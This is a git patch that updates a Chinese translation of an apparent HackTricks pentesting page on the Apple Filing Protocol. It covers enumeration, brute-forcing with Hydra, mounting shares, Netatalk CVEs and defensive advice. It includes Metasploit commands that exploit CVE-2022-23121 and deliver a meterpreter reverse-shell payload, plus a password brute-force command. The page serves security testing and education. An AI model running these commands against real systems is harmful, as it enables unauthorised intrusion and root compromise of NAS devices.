From 4b505058119c520048fd6c5f39f8d8aeffeadda3 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 14 Aug 2025 03:25:28 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/584-pentesting-afp.md'] to --- .../584-pentesting-afp.md | 110 +++++++++++++++--- 1 file changed, 96 insertions(+), 14 deletions(-) diff --git a/src/network-services-pentesting/584-pentesting-afp.md b/src/network-services-pentesting/584-pentesting-afp.md index 37b68cfa1..677e11c22 100644 --- a/src/network-services-pentesting/584-pentesting-afp.md +++ b/src/network-services-pentesting/584-pentesting-afp.md @@ -4,27 +4,109 @@ ## 基本信息 -**Apple Filing Protocol** (**AFP**),曾被称为 AppleTalk Filing Protocol,是一个专门的网络协议,包含在 **Apple File Service** (**AFS**) 中。它旨在为 macOS 和经典 Mac OS 提供文件服务。AFP 的特点是支持 Unicode 文件名、POSIX 和访问控制列表权限、资源分支、命名扩展属性以及复杂的文件锁定机制。它是 Mac OS 9 及更早版本中文件服务的主要协议。 +**Apple Filing Protocol** (**AFP**),曾被称为 AppleTalk Filing Protocol,是一种专门的网络协议,包含在 **Apple File Service** (**AFS**) 中。它旨在为 macOS 和经典 Mac OS 提供文件服务。AFP 的特点是支持 Unicode 文件名、POSIX 风格和 ACL 权限、资源分叉、命名扩展属性以及复杂的文件锁定机制。 -**默认端口:** 548 +尽管 AFP 在现代 macOS 版本中已被 SMB 取代(自 OS X 10.9 起,SMB 为默认协议),但仍然可以在以下环境中遇到: + +* 传统的 macOS / Mac OS 9 环境 +* 嵌入开源 **Netatalk** 守护进程的 NAS 设备(QNAP、Synology、Western Digital、TrueNAS…) +* 仍启用 Time-Machine-over-AFP 的混合操作系统网络 + +**默认 TCP 端口:** **548**(AFP over TCP / DSI) ```bash -PORT STATE SERVICE -548/tcp open afp +PORT STATE SERVICE +548/tcp open afp ``` -### **枚举** +--- -对于AFP服务的枚举,以下命令和脚本是有用的: +## 枚举 + +### 快速横幅 / 服务器信息 ```bash -msf> use auxiliary/scanner/afp/afp_server_info -nmap -sV --script "afp-* and not dos and not brute" -p +# Metasploit auxiliary +use auxiliary/scanner/afp/afp_server_info +run RHOSTS= + +# Nmap NSE +nmap -p 548 -sV --script "afp-* and not dos" ``` -**脚本及其描述:** +有用的 AFP NSE 脚本: -- **afp-ls**: 此脚本用于列出可用的 AFP 卷和文件。 -- **afp-path-vuln**: 它列出所有 AFP 卷和文件,并突出显示潜在的漏洞。 -- **afp-serverinfo**: 这提供有关 AFP 服务器的详细信息。 -- **afp-showmount**: 它列出可用的 AFP 共享及其各自的 ACL。 +| 脚本 | 功能 | +|--------|--------------| +| **afp-ls** | 列出可用的 AFP 卷和文件 | +| **afp-brute** | 对 AFP 登录进行密码暴力破解 | +| **afp-serverinfo** | 转储服务器名称、机器类型、AFP 版本、支持的 UAM 等 | +| **afp-showmount** | 列出共享及其 ACL | +| **afp-path-vuln** | 检测(并可以利用)目录遍历,CVE-2010-0533 | -### [**暴力破解**](../generic-hacking/brute-force.md#afp) +如果需要更多控制,可以将 NSE 暴力破解脚本与 Hydra/Medusa 结合使用: +```bash +hydra -L users.txt -P passwords.txt afp:// +``` +### 与共享交互 +*macOS* +```bash +# Finder → Go → "Connect to Server…" +# or from terminal +mkdir /Volumes/afp +mount_afp afp://USER:[email protected]/SHARE /Volumes/afp +``` +*Linux* (使用 `afpfs-ng` ‑ 大多数发行版中打包) +```bash +apt install afpfs-ng +mkdir /mnt/afp +mount_afp afp://USER:[email protected]/SHARE /mnt/afp +# or interactive client +afp_client +``` +一旦挂载,请记住经典的 Mac 资源分支作为隐藏的 `._*` AppleDouble 文件存储 – 这些文件通常包含 DFIR 工具遗漏的有趣元数据。 + +--- + +## 常见漏洞与利用 + +### Netatalk 未经身份验证的 RCE 链 (2022) + +多个 NAS 供应商发布了 **Netatalk ≤3.1.12**。在 `parse_entries()` 中缺乏边界检查使攻击者能够构造恶意的 **AppleDouble** 头并在身份验证之前获得 **远程根权限** (**CVSS 9.8 – CVE-2022-23121**)。NCC Group 提供了关于利用 Western-Digital PR4100 的完整报告和 PoC。 + +Metasploit (>= 6.3) 提供了模块 `exploit/linux/netatalk/parse_entries`,该模块通过 DSI `WRITE` 传递有效载荷。 +```bash +use exploit/linux/netatalk/parse_entries +set RHOSTS +set TARGET 0 # Automatic (Netatalk) +set PAYLOAD linux/x64/meterpreter_reverse_tcp +run +``` +如果目标运行受影响的 QNAP/Synology 固件,成功利用将获得 **root** 权限的 shell。 + +### Netatalk OpenSession 堆溢出 (2018) + +较旧的 Netatalk (3.0.0 - 3.1.11) 存在 **DSI OpenSession** 处理程序中的越界写入漏洞,允许未经身份验证的代码执行 (**CVE-2018-1160**)。Tenable Research 发布了详细的分析和 PoC。 + +### 其他显著问题 + +* **CVE-2022-22995** – 符号链接重定向导致任意文件写入 / RCE,当启用 AppleDouble v2 时 (3.1.0 - 3.1.17)。 +* **CVE-2010-0533** – Apple Mac OS X 10.6 AFP 中的目录遍历 (由 `afp-path-vuln.nse` 检测)。 +* 在 **Netatalk 4.x (2024)** 中修复了多个内存安全漏洞 – 建议升级而不是修补单个 CVE。 + +--- + +## 防御建议 + +1. **禁用 AFP**,除非严格需要 – 使用 SMB3 或 NFS。 +2. 如果必须保留 AFP,**升级 Netatalk 至 ≥ 3.1.18 或 4.x**,或应用供应商固件以回溯 2022/2023/2024 的补丁。 +3. 强制执行 **强 UAMs** (例如 *DHX2*),禁用明文和访客登录。 +4. 将 TCP 548 限制在受信任的子网内,并在远程暴露时将 AFP 包裹在 VPN 内。 +5. 定期使用 `nmap -p 548 --script afp-*` 在 CI/CD 中扫描,以捕捉流氓 / 降级设备。 + +--- + +### [暴力破解](../generic-hacking/brute-force.md#afp) + +## 参考文献 + +* Netatalk 安全公告 CVE-2022-23121 – "parse_entries 中的任意代码执行" +* Tenable Research – "利用一个 18 年的漏洞 (CVE-2018-1160)" {{#include ../banners/hacktricks-training.md}}